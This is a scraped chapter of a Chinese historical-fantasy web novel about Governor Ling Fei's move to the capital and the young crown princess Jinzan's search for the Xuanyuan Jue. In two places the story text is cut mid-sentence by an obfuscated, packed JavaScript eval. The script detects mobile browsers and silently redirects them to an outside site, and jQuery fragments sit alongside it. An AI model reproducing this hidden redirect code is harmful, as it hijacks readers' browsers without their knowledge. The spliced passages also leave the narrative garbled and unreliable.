凤仙花啊,一种女子喜欢拿来当丹蔻的花。你祖母最喜欢蓝色,像是初夏时京都的万里晴空……可惜……她没等到啊。 不过,为了你,为了这纷乱的世道百姓。爷爷一定要上京,替自己,也是替这世人挣上一挣。” “挣,挣……啊啊……丫丫挣……”小凌云去够那白底黑字的信笺,却怎么都够不到,而且信笺上的红戳惹眼又好看。 凌老爷又笑了起来。 “好,我家小阿云说得对,该挣当挣。不过,在离开绿风郡前,爷爷得把你娘安顿好啊。你那不着调的爹啊,真正是气死人。” 凌老爷思罢就派人遣殷罗来说话。他将复起归京的意思提了,请她转达给韵霜。 殷罗得了消息,紧赶着回清霜院,正逢梁稳婆带一个背囊的少年从院里出去。 梁稳婆笑道:“殷罗啊,前院什么事儿?” “无事。这位是……”殷罗知道粱稳婆心大,近来投了韵霜的喜好后常来走动。但,粱稳婆带男子入内院是第一遭。 殷罗看向眉目清秀、肤色略黑的少年郎,蹙眉道:“我刚离开这么一会,你怎么就带外男进了少夫人的院子?” “这……他是绿风郡最有名的美甲大师。我是见着少夫人的指上太素,就请了杨先生来做美甲。你别多心,我先送他出去啊。”粱稳婆带着杨姓少年离开凌府。 殷罗忍不住蹙了眉,匆匆进了清霜院。她向少夫人韵霜提了凌老爷说的事。 少夫人的眉梢微微地动了下,瞧着双手指甲上的漂亮花色,缓缓道:“两年了,我的心早死了。你帮我转达凌老爷,请他代他的儿子,与我和离吧。” 殷罗不知该劝还是支持,叹着气,将少夫人的原话回给凌老爷。 凌老爷听后抱着小阿云沉默不语。 良久后,他叹道:“凌度这孩子不是无情。只是,韵霜是老夫给他求来的媳妇才不喜。说实话,老夫这做人公爹得害了韵霜。老夫本该劝着家和万事兴,但是,进京之路坎坷,京中局势难测,无法兼顾两地。” 他深吸口气,压下酸涩,朝殷罗道,“老夫是官,可管此事。老夫代凌度准了这事。和离书就由韵霜来写,待拿来后,老夫亲自盖官衙印鉴。 至于小阿云,韵霜又是何意?” 殷罗看向凌老爷怀里胖墩墩可人的孙少爷,轻轻地摇头道:“少夫人无话,只说脱得凌家,回得当初。” 凌老爷无法说媳妇什么,也知她是个执拗人。 和离再改嫁,实也不容易的。 不过,因为当今有一位太女,传至民间,恢复了当初女皇当政的风气。这几年绿风郡的日子相对于外地稳当,女子和离真不少。那些有家产的女子还讨了侍男做填夫。 “男帝掌权时多半对女子苛刻。如今太女为继,倒也给天下女子方便。老夫离开后,此处凌宅地契和良田就留给韵霜。若她娘家不肯留人,自可回此地居住。老夫一并把过契文书立下。 至于小阿云,日后长大成人,思母念亲,也能有个地儿寻来。”凌老爷思量道。 殷罗闻言落了泪。 她拂身向凌老爷行礼道:“多谢凌老爷体恤。凌云少爷乖巧,他日少夫人转过弯儿,定会知道错过了什么。” 凌老爷摇头,儿媳的对错不该由他论。 “去吧。你就这么告诉韵霜。” 少夫人的回复是直接将和离书递去外院,并一个大丫鬟掬梅和管事姑姑殷罗。 凌老爷在和离书和地契转让上盖下郡守印,再看向跪在堂里的殷罗和掬梅,无奈道:“山高路远,此行艰辛。你们再回去思量思量吧。韵霜若是舍不得小阿云,老夫可以将他留在这。” 殷罗接过管家递来的两份文书,交给外面候着的掬衣。 她看着比掬梅和自己年轻的掬衣,不免生了哀戚。 掬梅本也有家室,奈何孕时不够小心落了胎,此后无法再孕。她就向夫家提了和离,说是不愿意彼此拖累、日后埋怨,不如好聚好散。 此后,掬梅就回了韵霜少夫人处继续当丫鬟。 至于殷罗,乃是少夫人的陪嫁,儿时一心伺主错过姻缘后拖延至今。如今,年岁大了,反倒不如掬衣这种小丫鬟得少夫人的心,也不如粱稳婆这样的乐子人。 但是,掬衣是凌府采买,而掬梅和殷罗是少夫人随嫁凌府,正也说明少夫人希望亲信照看凌云,全一份母亲的心意。 殷罗将文书交给掬衣后又叮嘱她两句,再次回堂内跪下。 她向凌老爷道:“少夫人说不想沾凌府一丝半点的便宜,我二人的身契也值点银子,已交给凌管家,由凌老爷定夺。 凌老爷,说句不好听,金桂家的一大家子祖孙几代都在绿风郡,不会跟孙少爷进京,便是灯芯也是金桂家的长子。 殷罗和掬梅身无长物,一直服侍少夫人,如今被少夫人派过来,也说明少夫人心里是牵挂孙少爷。只不过,她过不了那道坎。 我和掬梅无家室牵挂,又得过少夫人的恩惠,留在孙少爷身边,少夫人放心,您也放心,对吧?” 此时,凌管家也支吾道:“老爷,您上京赴任,老奴本该替您欢喜。可是,老奴……” 凌老爷一直都没让凌管家自称“奴”,年景好时还让他成了平民。他明白过来,颔首道:“你我同姓,笑说五百年前是一家。我知你家和金桂家一样,我凌飞家贫,确实雇不起你们所有人,亏欠你们啊。” 凌管家想言说几句,殷罗已经代为道:“这样正好,凌老爷。您上京带上孙少爷,就带上殷罗。殷罗别得本事不大,手脚上有点功夫,能帮你管管家。” 凌管家趁机点头:“殷罗姑姑确实管少夫人一应嫁妆田产,掬梅也是陪在孙少爷身边看着他长大。老爷,您放心吧。” 凌老爷暗叹口气,应下了这事。 他朝管家道:“离去前,你再帮我办件事,将凌度约来,说老夫想见他。” “哎。”凌管家应后匆忙离去。 凌老爷看向殷罗两人,赶紧虚扶道:“快起来吧。以后,小阿云就辛苦你们了。” 掬梅起身时扶了把殷罗。两人朝凌老爷行礼后告退而出。 凌度得知凌老爷的打算,有过一时心动,随之按捺下去。如今各地动荡,道府不听京都号令,比比皆是。大宰辅风子鸾还亲自带领风瑶骑兵平叛,在洛川江北打的火热。 南旋道府乃是大周最南边陲地,离得远而能免祸。若此时贸然进入中原地区,恐怕一个不慎皮将不存。 他有心劝凌飞不要去蹚浑水,又想起当年天灾断粮的事。 他撕心裂肺喊他多留一点粮食在家,偏就不肯,偏要将余粮捐给他人。母亲那个傻得偏又向着父亲,急他所急,将粮余下孩子的份,将其余都送了出去。 如今,固执的老头一心赴死地,劝什么呢? 凌飞根本没打算带凌度进京,鸡蛋放一个篮子才危险。他只是将一式二份的和离书以及地契转让之事告知儿子,又问了一遍关于凌云的事。 凌度瞧向在院子里跌跌拌拌蹦跶的小儿,打趣道:“爹还没见过我的大儿吧?你离开那日,我让他们几个在绿风城外十里亭给你送行。” 说完,不等凌老爷表态,紧拽着和离书出了门。 此后,他再不会踏进这座宅子。 凌老爷见儿子头也不回地离去,心也冷了。他看向院里摇摆走路的孙儿,这心又微热了些。 季闲带儿子季飞扬上凌府大门。他听说凌飞要进京都,正好想去京都走一趟。 凌老爷引季闲入屋聊。 十岁的季飞扬在院子里逗弄小凌云。 季飞扬人高腿长,因常年习武身姿矫健。小凌云还不懂好赖,却也知道缠着这个飞扬哥哥玩。 季飞扬逗弄小凌云,笑道:“小阿云,过来,哥哥给你带了礼物。” 小凌云看向他手里会抖动的竹蜻蜓,踉跄着上去捉蜻蜓。 季飞扬逗弄他一会就给了他,摸着娃儿的毛头,笑道:“小阿云,哥哥也要进京呢,听说京都的女人美,哥哥想去见识一番。到时候,哥哥带你一起去闻香辨玉,如何?” 小凌云不解他意,学着话音,口齿不清道:“香……香……香香,鱼鱼鱼……” 季飞扬哈哈大笑,十岁少年已有风流潇洒的神采。 谈完事的凌老爷送季闲出来,看到两人逗玩的场景。 凌老爷笑道:“这一路有你们父子陪着老夫和孙儿,老夫对前路的担忧就放下了。小凌云有飞扬陪着玩儿,更好。” 季闲的深眸藏色,含笑道:“小阿云的资质不错,到京都后拜我为师,四五岁时就可以和飞扬一起习武。” “嗯。如此,多谢。”凌老爷拱手道。 季闲摇了下头。此去京都必要有一个合适的身份才行,返京大人的孙儿武教习就很不错。 ** 这两年里,青骊山的一众人已经名扬大周南部各大道府。 寨首李云起带人杀入五县,夺取大批土地,随后聚集大批民众攻入岩阳城。以岩阳城为据,在北安阳的三寸不烂舌的助力下,禹季和宜醉等人的帮助下,拉拢了一大批官民。随后,李云起就带人杀入卧秋道府的府城秋落城,彻底占领了卧秋道府。 当年,三道府争抢的九乌山路在李云起斩杀卧秋道府一众司徒、司马、司空后直接接管此地。 他自号为青天伏龙大将军,挥刀向胜争道府杀去。 胜争道府的司徒上折入京都,祈求派兵支援,却被境内号称轩辕旁系的月辉君拦下。 月辉君乃是当今圣上往上推数代后的旁亲后裔,在几代人的积累下,月辉一族在胜城属地建起偌大的军队人脉,只等一个自立为王的机会。 卧秋道府民反,正好给月辉君这个机会。他直接把胜争道府的折子改为帮京都平叛的请求令。 京都的大宰辅风子鸾得悉后,鉴于风瑶骑兵诛杀儒门后在民间的口碑不好,直接上奏轩辕帝,应下月辉君此事。 轩辕夏封月辉君为周鼎大将军,不予一兵一卒,就让人家去平反。 月辉君岂会在乎京都的兵马,自逆仙一战后轩辕兵家败落。风瑶骑兵在当年凤栖手上还有点名头,如今不过是他风子鸾拥兵自重的门把子,不堪一击。 有此谕旨正名,月辉君直接拥兵而起。他偏就避开李云起的锋芒,将九乌山路的官道让给李云起,由他借道直奔京都。 而月辉君反倒吞并与胜争道府相连的三道府(荷卿道府,风华道府,南辉道府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059935|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ),一时间月辉带领的部队成为南部地区的最大势力。 此形式下,南辉道府往南的南蜀道府直接以地势为要,宣布自立。 如果南蜀道府的司徒还听京都的调遣,势必要穿越卧秋道府或者南辉道府才能上京……在这种形势下,不自立就等着被当刀使。 南蜀的人自上古以来就生性散漫,不喜打架。 外面乱成一锅粥,他们也能据地势之要守住家门而不出。南蜀地形特殊,以一高崖山道守一城之要,根本不怕月辉君的军队从南辉道府攻过来。 隔壁的南旋道府听闻南蜀自立,道府掌文政的司徒心下戚戚然。但是,南旋西面有十万大山相隔南蜀,而北上卧秋山脉接壤卧秋道府。倘若也学南蜀自立,势必成为李云起南下的理由。所以,南旋道府安居为上,以静制动。 李云起在听过禹季、宜醉的分析后,将南旋道府作为后备粮仓的存在,没有南下攻坚。 南旋道府的东面和南面全部临海,可谓是绝地。李云起若要南下,南旋道府根本无力抵抗他。 他也已经磨刀霍霍向北,名曰:北伐。 风子鸾得知月辉君的举动后向轩辕夏保证平乱,带领风瑶骑兵亲自南下征战。在洛川江畔与李云起的兵马交战。 ** 此时,凌飞带上孙儿凌云并殷罗和掬梅,以及季闲带季飞扬,一众人架马车出绿风郡。 出城半里,绿风郡内的一众百姓夹道欢送凌飞。 凌飞看向一张张父老乡亲的脸,不免老泪盈眶。他怀抱孙儿凌云朝众乡亲躬身回礼。 季闲带季飞扬看到这样的场景。 他向儿子叹道:“如若为官者都像你凌飞大伯,实乃天下百姓之幸。” 季飞扬的重点可不在这。他笑嘻嘻道:“爹,你以前让我跟着小阿云叫爷爷,这会怎么成伯父,那我不是比小阿云长了一辈?” 季闲的虎目一瞪,直接把儿子唬噤声。 凌飞带凌云上车后,一行人以三辆马车向东北出发,路过十里长亭。 凌度不在人群,却有一挽钗的柔弱妇人携带一干下人并两儿一女,朝不停的马车遥遥拜送。 凌飞从掀起的马车帘下望出去,最大的男儿比季飞扬都要年长,心下不禁气苦。他长叹一声,放下车帘,抱起身旁的孙儿哟哟哄着。 从绿风郡沿官道出发,途径南旋道府的府衙所在南旋城,又名早春大城。 南旋道府的司徒申丹经下人通报后,赶赴城外途径的官道口,从此地前往海口,可以撑船,经洛川江入海口,北上京都。 申丹见凌飞带人下车,赶紧迎上去道:“凌飞老弟啊,自你升为绿风郡守,我们已经三年未见。” 凌飞带人向他拱手拜道:“司徒大人,失礼了。” “哎哎,凌老弟、诸位别客气,我已令人备下酒菜为诸位践行,这边请。” 申丹等候在此必然是有事交待,吩咐一句后自有人去招呼凌飞所带的一杆人去吃喝歇脚,而他则带凌飞进入送归亭,坐在一桌清席前。 凌飞看向桌面,了然于胸。“李云起来过了?” “是。着我交秋粮,予他的队伍和风瑶骑兵作战。哎。”申丹叹了声,去执酒壶。 凌飞先起了壶,给他倒满,再给自己满上。 他举杯道:“司徒大人,当年若非你的帮助,凌飞无可能还活着。今日若非你帮忙居中调度,凌飞无能在五陵县站稳脚跟,亦没有机会北上进京。 此杯,凌飞敬你。” “惭愧。这一切都是孙老的意思。当年,五陵县周边被你治理得仅仅有条,何知鱼一力举荐你为绿风郡守,乃是你政绩斐然、为人清正所得。我算不得什么功劳。 今日你能有此行,更是孙老在京都斡旋。为了送此调函入南旋,他是费了不少波折。老哥在此等你,既为送行,也为请托。”申丹喝尽酒,抢在凌飞前拿过酒壶,再给两人满上。 凌飞也明白他的意思,直接道:“为了李云起、前方的卧秋道府,为了交的粮。” “是。我们南旋地方偏僻,偏偏是个靠山临水的绝地。 唯一的道口就是卧秋道府,如今卧秋道府被李云起把持,他已成气候,致使官路不同,你等只能靠海出行。 我托大,年长你几岁,申丹在此请凌老弟一事,如果上京问起南旋,申丹此心为君,忠于大周、爱于民。如此苟延,只为一城百姓,不得不为。” 申丹说着,情不自禁地落下泪来。 凌飞重重地颔首,按在申丹放在桌面的手,感慨道:“申丹老哥,若你不介意,我便如此喊。” “不不,使得使得,论起出生、经历、学识,是我高攀了。”申丹赶紧道。 凌飞摆手,叹道:“我虽是京都人士,却因得罪权贵被贬南旋偏地。但是南旋民风清朗,更无穷山恶水出刁民之说。 如今调令直抵绿风郡令我回京。然而,我对大周形势一知半解,实则,我心中有数,此趟回京是福祸难料。 你的意思,小弟明白。若是,卧秋李云起南下,南旋势必不保。但为一府百姓,不得不屈。” 申丹点头,正是这个道理,可是谁又想跟着反呢? 届时,李云起南下,作为一府掌管行政民事的司徒大人,为辖内的道府百姓,不得不从了那李云起。 如今借粮,来日李云起兵败,借得就是人和地了。那时才是最难的时刻。 若风子鸾真得平叛成功,风瑶骑兵直入南旋道府,南旋百姓乃至三僚(地方司空、司徒、司马)就成同株的叛乱罪人。 申丹肯帮凌飞周旋,正是留南旋众人一线生机。 他等候在官道外,送别凌飞,与他说明,也是为了此。回头上京真得问起南旋诸事,凌飞能帮南旋道府表个态啊。 两人就当前的形势互通了有无,随后凌飞的马车再次起程。他们一行人过早春城,直达海口。 早已安排的船只等候在沿岸,众人换乘后以海船前往。如此行动,既避开卧秋道府的李云起叛乱军,也避过了江北的风瑶骑兵。 大宰辅离京,京都的三公才好运作。风子鸾可以允许凌飞在南旋活着,却不会允许他北上入京。 凌飞师承天机山,乃是大周军神后继者。他被贬、被调用,绝不是毫无道理。凌飞一行人的船穿过沿海的学海海峡,到达北方的星海道府。继而经过沿途十道府,才抵东都城,再经东都转往京都。 路途之遥,他一行人走近一年才抵京都。 后世有评:帝师入都过千府,姻缘千里系一人。 9. 祖地 京都,轩辕皇宫。 天微凉,色不明。 轩辕金簪一身素衫迎着秋霜露水漫步在昏黑的宫道,被南叶手中一盏灯火照亮脚下和半侧的脸庞。她如同邻家八岁的稚女,却有稚女未养出的静雅和沉稳。 内侍官韩丹带一队虎贲军从宫道另一头疾步而来,向缓步行走的金簪拜道:“太女殿下,出宫事宜已经打点妥当。请。” 南叶见金簪还要自己走,急切道:“韩公公,殿下膝上的伤未好,为何不让车马进宫里接殿下?” “这……”韩丹也不想被这太女当面记恨,躬身道,“陛下言:既想代父祭祖,需虔诚为上。” “走吧。”金簪不想听这些诡诈的面容说着各种推诿奉上的话。她径直绕过韩丹,从容得从列队的虎贲军中间走过。 天还没亮,金簪就坐在宫外的马车上,尤着虎贲军护送出京都,前往京郊三十里外的藏龙山。 马车上,金簪数着流逝的时间,心道:差不多了。 此时,京中响起日出的更鼓声。 金簪的眸光微亮,以眼神向南叶示意。 南叶不明她意,抽出袖兜里的丝巾,打开后露出一份点心。她温声道:“往日这个点是殿下的早膳时间。殿下饿了吧?” 金簪的小手抚在肚腹处,目光却瞟向紧闭的车轩门窗和珠帘。 南叶顺她的目光看见车窗珠帘,愣了一下后才反应过来。 此行是殿下第一次出宫,她必然对京都十分好奇,想要见识一番。 她将丝巾和糕点放在车内的案几,转身拉开车轩小窗。 窗户一开,秋寒从外面飘进来。金簪热切得从小小的窗口望见晨曦微明的金都。 鳞次栉比的房屋像是蒙了一层秋纱、红幡飘摇的招旗在秋风中发出悦耳的响声。晨起开门准备营业的鲜活面容正好奇地张望过来…… “殿下,秋寒露重,宫外人多眼杂,对不住了。”虎贲军之首辛无疚秉公道。他说完,直接令南叶关上车窗。 南叶觑了眼垂目的金簪,依言关上窗户。 她看向再次抬眸直视车门的金簪,轻声道:“殿下,快点用膳吧。待会,婢子给您上药。苗医女说了,若是您今日走路多,须得多次上药。” 金簪无言,捻起桌面的冷糕慢慢地咽下肚。 辛无疚将时间算得很准。车队刚到城门,亦是城门开启时。马车逆着不少入城的行人向城外去。 出城后,队伍加快。 虎贲军驾马慢跑而行,金簪的马车有些颠簸。南叶本要提醒辛无疚此事,但是被金簪按捺了。 金簪淡定道:“无碍的,快一点到祖地,好快一点知道答案。” 食时末,藏龙山下,韩丹从后面的马车下来迎太女。 大宗伯轩辕紫琴早已手持拂尘,立在藏龙山的山道口。 他一身清霜,沾了晨间的轻露,映着身后云烟缥缈的山麓,像是不出世的仙人。 轩辕金簪整理衣衫,立在大宗伯前,像是山脚顽石面对山顶珠玉,竟有自惭形秽的感觉。她想起太傅孙忠谋偶尔提及风子鸾时会显露的叹息、自惭感,将淡漠的眼神瞟向紫琴君背后的藏龙山。 山间云蒸雾霭,不甚分明,顶上有真火金光嬉戏峰峦,似瑶宫仙子已备开门迎客。 “青山藏古地,静待攀援人。太女殿下,春官紫琴有礼了。”轩辕紫琴向金簪屈身行礼。 大宗伯乃是大周六卿五官之末的春官宗伯,司职大周礼祭。 官位不上不下,然而,轩辕紫琴上推两代,也是皇族旁系,轮辈分,他比起金簪大上一轮。 金簪受礼后再拱手道:“金簪见过大宗伯紫琴君。” 轩辕紫琴一扬拂尘,侧步避开金簪的半礼:“不敢,殿下请起。”他又朝她身后的众人道,“诸位送到这就可以了。殿下,请上山。” “殿下,”南叶替金簪的双膝担忧,忍不住喊道。 金簪摆了下手,抬步上阶,先轩辕紫琴一步向山上登去。 百阶后,轩辕紫琴看向微有气喘却不喊叫的女孩。往日,自家的童子小徒惯常在山道上跑,常常百阶后讨饶求歇,这太女倒是令人刮目相看。 “殿下,累吗?”紫琴君问道。 金簪怎么可能不累,不过是咬牙硬撑。双膝上的乌青未退,双脚每走一步,膝盖就阵阵地刺痛发酸。 她侧头望向落下一阶的叔祖,转问其它。 “宫廷录里记载:轩辕帝登位后其余子侄均要入藏龙山。为何,今日孤只见叔祖一人?” “呵,”轩辕紫琴看向山道旁的凉亭。座下的童子小徒一见这座凉亭就嚷嚷累,非得跑去歇脚。 这次他主动走进凉亭,拿拂尘扫过石凳,又坐在另一张石凳。“殿下双膝有伤,过来坐一会吧。” 轩辕金簪也不矫情,拖着跟灌铁一样发颤的双腿走了过去。 即使裙摆也遮不住腿在颤,真是出丑了。她坐在扫过的石凳,感受身下传来冰凉的触感,凉去心头泛起的羞恼热力。 “如果轩辕子弟不入藏龙山,天下该有多少月辉君,又有多少周鼎大将军呢?”轩辕紫琴笑道,“大周立国千余年了,太女殿下,这可不是短短的小年小数。两百年前的逆仙一战,轩辕子弟与轩辕兵甲自相残杀,造成如今大周颓败的气运。” “藏龙山真有《轩辕诀》?”金簪对两百年前的轩辕兵家攻打“逆仙”一事根本不好奇。她在宫廷录上查到《轩辕诀》的消息,透露给太傅和少傅以及母后,随后有了《轩辕诀》乃是天下第一等功夫的传言,而练就《轩辕诀》的轩辕弟子可以重建轩辕铁甲的说法。 这就有了如今这一出‘代父祭祖’的事。 轩辕金簪想要得是《轩辕诀》,可以重建轩辕铁甲的《轩辕诀》。 “你不愧是我轩辕家后人。”轩辕紫琴摇着头,微笑道,“来吧,叔祖背你上山。” 金簪诧异地看向蹲下身的轩辕紫琴,不解道:“为何?” 因为你腿有伤,因为你所行未必如你所愿…… “因为紫琴是您的臣子、堂堂大周轩辕氏的弟子,也是轩辕铁甲的后继者。轩辕铁甲为民生、为王令、为大周而存。” 金簪散开轻蹙的眉宇,觉出双腿确实酸疼得不行,却还顾及太傅、宫婢教导的宫规礼仪。 “殿下,此处是宫外,山间野地,没有那么多教条礼法。”轩辕紫琴分明洞悉了金簪的心思,解释道。 金簪看向四野薄纱苍翠,扑上轩辕紫琴的后背。 轩辕紫琴把拂尘递给金簪拿着,背上她向山道走去。 这是金簪从未有过的体验,从她的胸前、他的背部传递来一股温暖,像是热流滚进心田。 叔祖的手托在膝弯上的力量……即使膝盖很痛,也压不住叔祖身上传来的热量汹涌。 金簪凝眸瞧向上山的道路,莫名想哭,又很想要笑。 【这辈子我都不会忘记这条山道、这个人,乃至手里沾了尘却依然白净的拂尘。他是第一个给我温暖的轩辕氏,也是唯一一个。】 半山道上,青阶两侧出现一座座或破败或残缺或尚且完整的草庐。这样的草庐多不胜数,掩映在树林里似一个个坟包,又似不知名的隐士暗藏其中。 金簪好奇地道:“这些就是曾经非正统嫡系一脉的轩辕家弟子上山后的居所吗?他们被宗室礼法赶上藏龙山,定居在此,自此后求仙问道,自称仙人。” “是啊。”轩辕紫琴缓缓地道,“你好奇啊?” 金簪别开小脸,没答。 太傅说过,为君者不可为人测度,需得深藏不露。 “你不过八岁,好奇就好奇。”轩辕紫琴接着道。 金簪皱起眉,想要下来自己走,又舍不得他的温暖,再有膝盖也疼,就想赖着。 她的稚声沉沉道:“你也看不起女子?” “也?你说你的父皇吗?”轩辕紫琴笑出声,继续背她上山,边走边道,“轩辕建业千载多,初初百年时遇到第一次危机。一位名叫轩辕姬的女子降生,后被天机山收为门徒,成年后她回归皇朝。 当时,正值正统交替,轩辕姬二话不说以武力废当时的太子,自立为轩辕女皇。从她开始,整个大周开启仙侠时代。 然而,仙人凶猛,凡人怎可憾其锋芒?凡人厌仙日重,却也羡仙人命长,凡人会湮灭在历史长河,而仙人却能存世百多年。 光是轩辕姬一人,她就在位两百年。” “她真厉害。”金簪向往道。 “是啊。但是,她熬死一大批的轩辕子弟,余下同她求仙问道的人都不喜被俗世禁锢,寻道而去。轩辕姬又不知从哪里找来个孩子,称是轩辕后代,拥他上位。”轩辕紫琴好笑道,“随轩辕姬退出大周舞台,整片大陆的仙人随之离开。整个大周无论是朝堂、江湖、民间都静下来,随之而来又是一翻凡人在位的五十载更替,直至两百多年前。 被逼上藏龙山的轩辕子弟越来越多,多到住不下整座藏龙山,多到这座山起了反心。” “所以,山中求仙问道为名的轩辕弟子自称仙人,要重启轩辕姬在世时的仙人辉煌。轩辕铁甲奉命清剿轩辕弟子的叛乱,史称‘逆仙一战’。 所谓的仙,不过是被困守在藏龙山被迫求仙的轩辕弟子。”金簪按宫廷密录解说道。 “是啊。大金宫里的人一代代渐少,而这藏龙山上乃至周边的轩辕子弟却一代代增多。当年为避免封侯战乱,皇族嫡枝压迫轩辕子弟上山求道。数百年后,这些上山的轩辕氏耐不住起了反心,开启逆仙一战。这一战消耗轩辕家最强的战力——轩辕铁甲军。 战乱数十载,终于出了一年轻男子,名为凤栖。 他横空出世,拥立当时大金宫仅剩的继承人,轩辕伯姬继承皇位,乃是轩辕历史上的第二位女皇。 她所建的骑兵传言是为纪念凤栖,命名为风瑶骑兵。凤栖带这支骑兵,扫平余下的轩辕叛乱。 至如今不过更迭三代,风瑶骑兵已落在旁人手上,导致大周气运颓势在前。”轩辕紫琴立在山巅,看向前方的一面壁崖。 祖地到了,但内中所有未必是这位年纪轻轻却早熟明志的太女所求。 “孤……我看过女皇伯姬的密录,上面说风瑶骑兵是凤栖所建,借用女皇的名头。 当时,身为大宰辅的凤栖在平叛后稳定朝堂,却碍于权势太盛,怕被女皇忌惮,与爱妻双双避世隐居,再没有出现在世人的面前。”金簪稚声道。 她被紫琴君放在地上,两人一起站在壁崖的石门前。 石门顶上雕刻“诀地”二字,便是内廷秘录上记载的祖地。 然而,在民间,藏龙山不过是一座困守轩辕旁系弟子的困龙山,因时间久远,才出了各种宝藏秘诀的风闻。 “如今的风瑶骑兵已不是凤栖所掌时候。风子鸾借风瑶骑兵之势,只知残杀儒门弟子、排除异己,独掌朝政。而父皇偏听偏信,日梦笙歌,一心只想男儿定鼎朝堂。他狭隘了。” 轩辕紫琴诧异地看向说出此番话的笔挺女孩,如大人的言谈却也透出稚童的悲哀。 “孙忠谋将你教得太好了。”他感叹道。“轩辕皇朝自开国以来,从不可能中走向可能。你有轩辕先祖的风范……” 但是,又能如何呢?大厦将倾,凭你一己之力如何挽救? “曾经,轩辕弟子确没有封侯拜相,割据一方,成为诸侯者。但是,当年逆仙一战后逃走不少轩辕子侄,在地方道府蓄养兵马,勾结掌管地方军政的司徒、司马,渐有自立为国者。”轩辕紫琴叹道,“当年的事,如今又要重来了。可是,这天下并无轩辕铁甲了。” “叔祖,孤此行,目的之一就是寻找重建轩辕铁甲的秘法。此门怎么开?”轩辕金簪侧眸问道。 轩辕紫琴愣了下,直接笑出声。他已被金簪的气度折服,小小年纪心智坚韧,行进有向,且为之努力而行,何尝不是幸事。 他扬了下拂尘,走至门前,握上壁门侧的一盏壁油灯。 他握住油灯时记起礼书上的记载:祖地石门得叩门者亲启。这个方法是验证轩辕血脉得一个方法,也是七百多年前仙人女皇轩辕姬留下的考验。 【算了吧。这个轩辕太女的气势、谈吐,一点不输轩辕夏,岂会不是他的女儿。】 金簪见壁门轰隆开启,甬道内的两侧灯盏随之燃火。她深吸口气后毅然踏进石门。 进门后,甬道幽深,像是藏着不可预知的食人巨兽。金簪的脚步一顿,侧头道:“叔祖不进来吗?” 【呵,这倒是有点八岁稚童的模样。】 “怕黑?”轩辕紫琴含笑道,稳稳地跟了上去。 金簪的回答是直视前方,往灯火照亮的甬道尽头走去。 轩辕紫琴踏了两步就没再跟进去。 这里面除壁画外余下的东西对有的人有用,有的人无用,但看人心所向。 壁门关上,金簪回首望去,石门处一片幽黑,紫琴君隐在灯下,似不想走了。 她环顾四周壁石,上嵌灯珠,如火却不是真火,正是夜明珠。她转过甬道,沿珠光一路顺阶而下,直至一处岩壁绚烂的大厅。 金簪顺珠光,将墙面上的壁画一幅幅看过去,大致明白画上内容。 这是当年轩辕祖先起兵的经历。 从前,这片大地以祭师为名立国,有多少大祭师就有多少势力。迷信的力量导致愚昧和盲目,世人为此深受祭师的权势祸害。 轩辕祖先,轩辕毅从名为明月溪镇的地方起事,推翻残虐百姓的地方祭师。后来,轩辕毅听从仙人的建议,带人奔走西北,建立天机门。 轩辕氏在西北蛰伏数百年,继任者轩辕北,在天机山人的带领下建立轩辕国。在塞外建立——天都皇城。 后来,轩辕氏的太子——轩辕战领兵从西北南下,从祭师手里夺取南疆一带,沿秦连山南向北建起偌大的秦连长墙。 金簪抚摸壁画上雄伟的秦连山长墙。如今这堵轩辕先祖所建的南北长墙,挡住北方的摩尔人翻过塞外进攻中原的脚步。 但是,摩尔人占据轩辕真正的祖地,天机、天都、雪草三城。 这些摩尔外来者正在三城学当年的轩辕先祖,不断生息壮大,繁衍至今已有百余年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059936|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而风子鸾的风瑶骑兵无力对抗强壮的摩尔人,无法夺回祖地三城。 沿墙十几道府又各自为据,再有月辉君这种人攻打周边道府、破坏长墙防御的乱党。 “风子鸾、月辉之流,当真该死。秦连长墙的防御一旦松懈,摩尔人势必东进,一旦跨过秦连长墙,兵马长驱直入,大周……必亡。”金簪的小手从壁画上收回,喃喃道完,忍不住掐住掌心。 她长吸口气,流连过这一墙的壁画,至中途,终于寻到此行的目的。为这个目的,她忍辱答应父皇不可理喻的要求。 轩辕金簪站在《轩辕诀》面前,越看越握紧小手,瞪凸了杏仁似的大眼。 “怎么会这样?《轩辕诀》竟然是排兵布阵之法,治农行商的要诀……不是武功秘诀?” 金簪惯来沉静的脸上露出狰狞色。她一掌拍在墙面,顾不得手疼,抚摸被先人凿刻出来的长串文字:“假的,假的……全是假的……怎么会这样?没有《轩辕诀》,孤如何杀大宰辅?没有《轩辕诀》,孤如何立足朝堂?没有《轩辕诀》,孤怎么像轩辕姬一样以武力把持所有人,重建轩辕铁甲……啊……骗子……” 金簪像是愤怒的小狮子一样捶打墙壁,眼泪也禁不住肆意而下。 她痛苦的喃喃自语:“孤没有凤栖那样的人才,也不可能像轩辕伯姬一样稳定朝政,孤什么都没有啊……呜呜呜……我什么都没有啊……” 金簪颓丧地瘫软在墙根下,靠在冰凉的墙壁,睁大了一双楚楚的双眼。 她任由泪水扑簌而下,想要软和一点,却坚守着轩辕氏的傲气。她想要埋首膝弯,却仰面穹顶黑壁。 【不可以低头,绝不可以。因为我姓轩辕,我是轩辕太女,轩辕金簪。】 “呜呜……”金簪昂靠在墙壁,眨去朦眼的泪水。她盯在穹顶上的刻字,眨了下眼。 “这是……什么?” 